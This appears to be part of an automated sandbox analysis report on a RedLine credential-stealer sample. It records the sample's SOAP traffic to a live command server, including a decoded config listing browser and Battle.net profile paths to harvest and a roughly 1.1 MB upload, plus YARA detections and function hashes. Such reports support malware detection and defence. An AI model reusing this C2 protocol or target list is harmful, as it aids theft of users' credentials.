Oct 7, 2022 05:02:22.400099039 CEST	102	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 194.190.152.20:57105 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Oct 7, 2022 05:02:22.461894989 CEST	102	IN	HTTP/1.1 100 Continue
Oct 7, 2022 05:02:22.558859110 CEST	104	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 07 Oct 2022 03:02:22 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 4f 62 6a 65 63 74 34 3e 74 72 75 65 3c 2f 61 3a 4f 62 6a 65 63 74 34 3e 3c 61 3a 4f 62 6a 65 63 74 36 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 36 3e 3c 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 74 72 75 65 3c 2f 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 3c 61 3a 53 63 61 6e 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 73 50 61 74 68 73 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 42 61 74 74 6c 65 2e 6e 65 74 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 68 72 6f 6d 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 28 78 38 36 29 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 61 70 6c 65 53 74 75 64 69 6f 5c 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 53 74 61 72 5c 37 53 74 61 72 5c 55 73 65 72 20 44 61 74 61 Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Iridium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\7Star\7Star\User Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49703	194.190.152.20	57105	C:\Users\user\Desktop\2MNB4UhUqR.exe

Timestamp	kBytes transferred	Direction	Data
Oct 7, 2022 05:02:36.586261988 CEST	115	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 194.190.152.20:57105 Content-Length: 1144582 Expect: 100-continue Accept-Encoding: gzip, deflate
Oct 7, 2022 05:02:36.650482893 CEST	115	IN	HTTP/1.1 100 Continue
Oct 7, 2022 05:02:37.147006035 CEST	1265	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 07 Oct 2022 03:02:37 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Oct 7, 2022 05:02:37.162576914 CEST	1265	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 194.190.152.20:57105 Content-Length: 1144574 Expect: 100-continue Accept-Encoding: gzip, deflate
Oct 7, 2022 05:02:37.224953890 CEST	1265	IN	HTTP/1.1 100 Continue
Oct 7, 2022 05:02:38.472382069 CEST	2821	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 07 Oct 2022 03:02:38 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	2
Start time:	05:01:58
Start date:	07/10/2022
Path:	C:\Users\user\Desktop\2MNB4UhUqR.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\2MNB4UhUqR.exe
Imagebase:	0x730000
File size:	97792 bytes
MD5 hash:	53BFF074CB42DF5106E24A0C3EBEEA5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	05:01:58
Start date:	07/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Function 04F968F8 Relevance: 1.2, Instructions: 1231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b98dc3317d28b55ee8d9044f93f45832ef6d11d40e94d963c45fc6a747ea5103
Instruction ID: 051ab3a27accc8d4fbddf93c76145dc8b5c8e6f0deaa422fa361aa82ebad1159
Opcode Fuzzy Hash: b98dc3317d28b55ee8d9044f93f45832ef6d11d40e94d963c45fc6a747ea5103
Instruction Fuzzy Hash: F592BE34B002059BEF15ABB9986467E76E3EFC8344F248829E506DB781DF74EC078B91

Uniqueness

Uniqueness Score: -1.00%

Function 04F9BE80 Relevance: .6, Instructions: 607COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b079e549937b773e2533f20d3026c6ad845b0f5d5b8acfc47e3d093227d45f17
Instruction ID: f6fa21bb3c13fe50448c239f04884acd890562409e25eb70a6ef932ba160aa6f
Opcode Fuzzy Hash: b079e549937b773e2533f20d3026c6ad845b0f5d5b8acfc47e3d093227d45f17
Instruction Fuzzy Hash: EF22CF34B002849FEB15EB75D854A6E7BE2EF85314F14886AE906CB391DF34EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04F921D8 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30bbf7166896bc44accc9301f7df679309ce5a5bbd195d1b5248270d4b962d28
Instruction ID: 55c2df4713895f72b810f4673680e5c8e4c8a79edb186fd6a835c5748dde3664
Opcode Fuzzy Hash: 30bbf7166896bc44accc9301f7df679309ce5a5bbd195d1b5248270d4b962d28
Instruction Fuzzy Hash: 31C18B35B00204AFDB05DFB9D854AAABBB6EF89344B1588A9E905CB361DF35DC06CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04F91D98 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad4d4d32ceea2d970484306e79dfdf9761586bc3f5c9d825af6527b4308c6036
Instruction ID: 69e591c7cb34396519c3a3f07ae86fe27eb8585b7f3fb3b2bd8a569f6c2802f9
Opcode Fuzzy Hash: ad4d4d32ceea2d970484306e79dfdf9761586bc3f5c9d825af6527b4308c6036
Instruction Fuzzy Hash: 09D13734B0020AAFEB14DF69D6949ADB7F2EF88304B258469E905DB351DB34ED82CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04F9A370 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

8coj, xrefs: 04F9A39B

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID: 8coj
API String ID: 0-289965317
Opcode ID: 8411b02d2988d8d7763e4c0daa80e566d2553a15a367d515c2a652bec01fb557
Instruction ID: 63cb1384aab01f804379cd199a41ec48fa54e368f7efcb0f937325d321b8a82d
Opcode Fuzzy Hash: 8411b02d2988d8d7763e4c0daa80e566d2553a15a367d515c2a652bec01fb557
Instruction Fuzzy Hash: 5C41D176F042908FEB15DA2DD048A6AB7E6EB95364714847AD909CB710EF32EC43C790

Uniqueness

Uniqueness Score: -1.00%

Function 04F9CDD3 Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4867f76e1a914f63160188df9a11ece913f7e2b846b24c4f9fcc3b2bfc29a327
Instruction ID: 22ca9bd473b440385948cbe1d26738bf58220cd4f5d6cb1525599542784571a4
Opcode Fuzzy Hash: 4867f76e1a914f63160188df9a11ece913f7e2b846b24c4f9fcc3b2bfc29a327
Instruction Fuzzy Hash: 23E10B30A00249DFEB14EFA4D598AADBBF2EF84344F108869D4169F365DB75EC86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04F99D60 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d750f35c58cda0e6ebd28399a8679415623a9c730f6322f0b74c66a6b73e2d66
Instruction ID: ca0ede9a23b5f0fb24a98b1f2883b99544b4db0e976f75ba97b1f8832bea2435
Opcode Fuzzy Hash: d750f35c58cda0e6ebd28399a8679415623a9c730f6322f0b74c66a6b73e2d66
Instruction Fuzzy Hash: AAB1F235B002009FDB24AB79E858AAE7BF6EFC4209B14887AD80AC7751DF74DC078791

Uniqueness

Uniqueness Score: -1.00%

Function 04F9F150 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85a5cfd90df538ff7a3d52fea06eb62096eb093e9d439732e166126e9977a9ba
Instruction ID: bd101bdba0a0d68a65cc9991c8ab3e34e52bea819458bc5cb3e329a1260ab1bf
Opcode Fuzzy Hash: 85a5cfd90df538ff7a3d52fea06eb62096eb093e9d439732e166126e9977a9ba
Instruction Fuzzy Hash: E0A1AC35F042118BEB68DF69D454BAAB7E1EF85324B15806AE809DB351DB35FC42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04F98170 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52655987ad5b02558719fe6df4b6c47ea4af5f2d56be01ac8e3ec4bec21e8d62
Instruction ID: 969ef4a0aba2c640be32b19c18808bef71fe04084b15c1c74d2e5edab630bba8
Opcode Fuzzy Hash: 52655987ad5b02558719fe6df4b6c47ea4af5f2d56be01ac8e3ec4bec21e8d62
Instruction Fuzzy Hash: BA817834F00108AFDB54EBA9D4516AEBBF2EF89344F108869D509EB784DE349D468B92

Uniqueness

Uniqueness Score: -1.00%

Function 04F9CC00 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36554e7b746d2cdca14150df6cdd3fa52f416d7aa78de7af9f1caf47cb810ecf
Instruction ID: 929235c3ab7c3ea19fe827d7245307c0832ee9b3f0901188aa73e805e460b260
Opcode Fuzzy Hash: 36554e7b746d2cdca14150df6cdd3fa52f416d7aa78de7af9f1caf47cb810ecf
Instruction Fuzzy Hash: 67913E30A002889FEB54DFA9D498AADBFF2EF89300F14452AD406EB351DF74AC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04F91D88 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f61871171d071d1497d407d2798e9e09d1b68e143dbeb7662bdfd53213c5d14
Instruction ID: cf2dede7f3bbbb5041974a9bd4655bf3c41e4d49622e7ec9ca986d65b6424ba0
Opcode Fuzzy Hash: 0f61871171d071d1497d407d2798e9e09d1b68e143dbeb7662bdfd53213c5d14
Instruction Fuzzy Hash: 3C717C34B01209AFEB15DF78E5949ADB7F2EF88304B218469E805DB351DB39ED82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04F94B50 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa50b36104bb5660a56bf15b4ec623ec2853f0d4d14144346fcc228bed6347a6
Instruction ID: b1714bf29e09213743080ce145a1f3acb73aa70fe936b6808cec605194e55c1b
Opcode Fuzzy Hash: fa50b36104bb5660a56bf15b4ec623ec2853f0d4d14144346fcc228bed6347a6
Instruction Fuzzy Hash: E3516B34B042449FEB54DF6AC454AAA7BF2EF89314F184469E806DB390DF35EC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04F94AB0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6efc910ac0e3091c5da7b382222681fcdae264fd8724ae5b1e022c8e60ea80ab
Instruction ID: 747e31381d6943cb57f111de8176d45eea5c67ab7391cae6a0fcb3bcdd679853
Opcode Fuzzy Hash: 6efc910ac0e3091c5da7b382222681fcdae264fd8724ae5b1e022c8e60ea80ab
Instruction Fuzzy Hash: 16519B34A042449FEB15CF65C494AAD7BF2EF89310F1941A9E806EB7A1DB30DC87CB10

Uniqueness

Uniqueness Score: -1.00%

Function 04F9A900 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15a9af0f582d7b26954644de2278144a30a0840021d4369d265ebbdb9bde778e
Instruction ID: 63ff79343fae617fdd7d368dcc3613bac21c185b21c1feb8b4240f4095ff28dd
Opcode Fuzzy Hash: 15a9af0f582d7b26954644de2278144a30a0840021d4369d265ebbdb9bde778e
Instruction Fuzzy Hash: B9517C34B006459FDB15EF64E98896E7BF2FF88201714C429E806C7365DF74AD42CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 04F93940 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0c3799604a8bd92cf6b5d3f481fa066f56afadfa8a57649bbea6bc66142447f
Instruction ID: de66ff9387d88ecb698cd0c6b5146dc50235ffe300889457d4b50f96f5c1bc63
Opcode Fuzzy Hash: d0c3799604a8bd92cf6b5d3f481fa066f56afadfa8a57649bbea6bc66142447f
Instruction Fuzzy Hash: 4341F031B002099FEB44EF25D881AAA7BE2EF85344B14C86AD4058B391DF35EC1B8BD1

Uniqueness

Uniqueness Score: -1.00%

Function 04F9CBFC Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7251dd9e823404ce9543c5cd8d6df06a01696cbd65e1cb1207744a64f9d7d5a
Instruction ID: 5eff2f8a5d5ec8b3480a9a037efa879a542f9e364a791095cbd5c54041be4905
Opcode Fuzzy Hash: c7251dd9e823404ce9543c5cd8d6df06a01696cbd65e1cb1207744a64f9d7d5a
Instruction Fuzzy Hash: B051EB74A00288DFDB54DFA5D498AADBFF2FF84300F14846AD406AB365DB70AC46CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04F9D1D8 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7167447ff1fb2c94c6f87f5a8e3d992904e00017a3356b4d0d2bdfab347ed49b
Instruction ID: d74e3229ccac7f16ef4e11640b32924e66f20bce0109a2b346e6c709d03ff20d
Opcode Fuzzy Hash: 7167447ff1fb2c94c6f87f5a8e3d992904e00017a3356b4d0d2bdfab347ed49b
Instruction Fuzzy Hash: 0751C934A00249DFEF54DFA5D998AADBBF2FF84304F148019E406AB3A5DB74AC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04F98030 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3b9f416040009fbe65fc5c346a65c16101923e39acdb59a89bfc60bbd38a86
Instruction ID: 69ea71f2250a42b413c7606b1db3b7bfb03bc8753148c6fef241b64091afe654
Opcode Fuzzy Hash: 2e3b9f416040009fbe65fc5c346a65c16101923e39acdb59a89bfc60bbd38a86
Instruction Fuzzy Hash: C3411DB2C093849FDB11DF6CD5916DEBFF0EF16218F4448ABD084A7652D334994ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F968E8 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a93baa19b18889ee59f4d298bb87f6fa6f1d0e795b40aa2d9fbfde058564ba69
Instruction ID: 53900b7a61bf595bd8b91e8ec1303bfc8524c6bde7d085b943d3d17843cdaedd
Opcode Fuzzy Hash: a93baa19b18889ee59f4d298bb87f6fa6f1d0e795b40aa2d9fbfde058564ba69
Instruction Fuzzy Hash: 6641AF34B001099FEF19DBB4E4545AEBBB3EFC8314B258129E906A7391DF74AD038B91

Uniqueness

Uniqueness Score: -1.00%

Function 04F9ED70 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.386434610.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4f90000_2MNB4UhUqR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fefbef369af96a137b78c46dc198dda27d79e8b103e373e597d4e3ed958f902
Instruction ID: 0969672ded8a949c8a4b2e73da88be1a617b74235802151a6cab55df237987b8
Opcode Fuzzy Hash: 5fefbef369af96a137b78c46dc198dda27d79e8b103e373e597d4e3ed958f902
Instruction Fuzzy Hash: 34415E74B00219CFDB14EF64D888A6EB7F2FF88304B148569E9069B395DB75EC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04F95F80 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

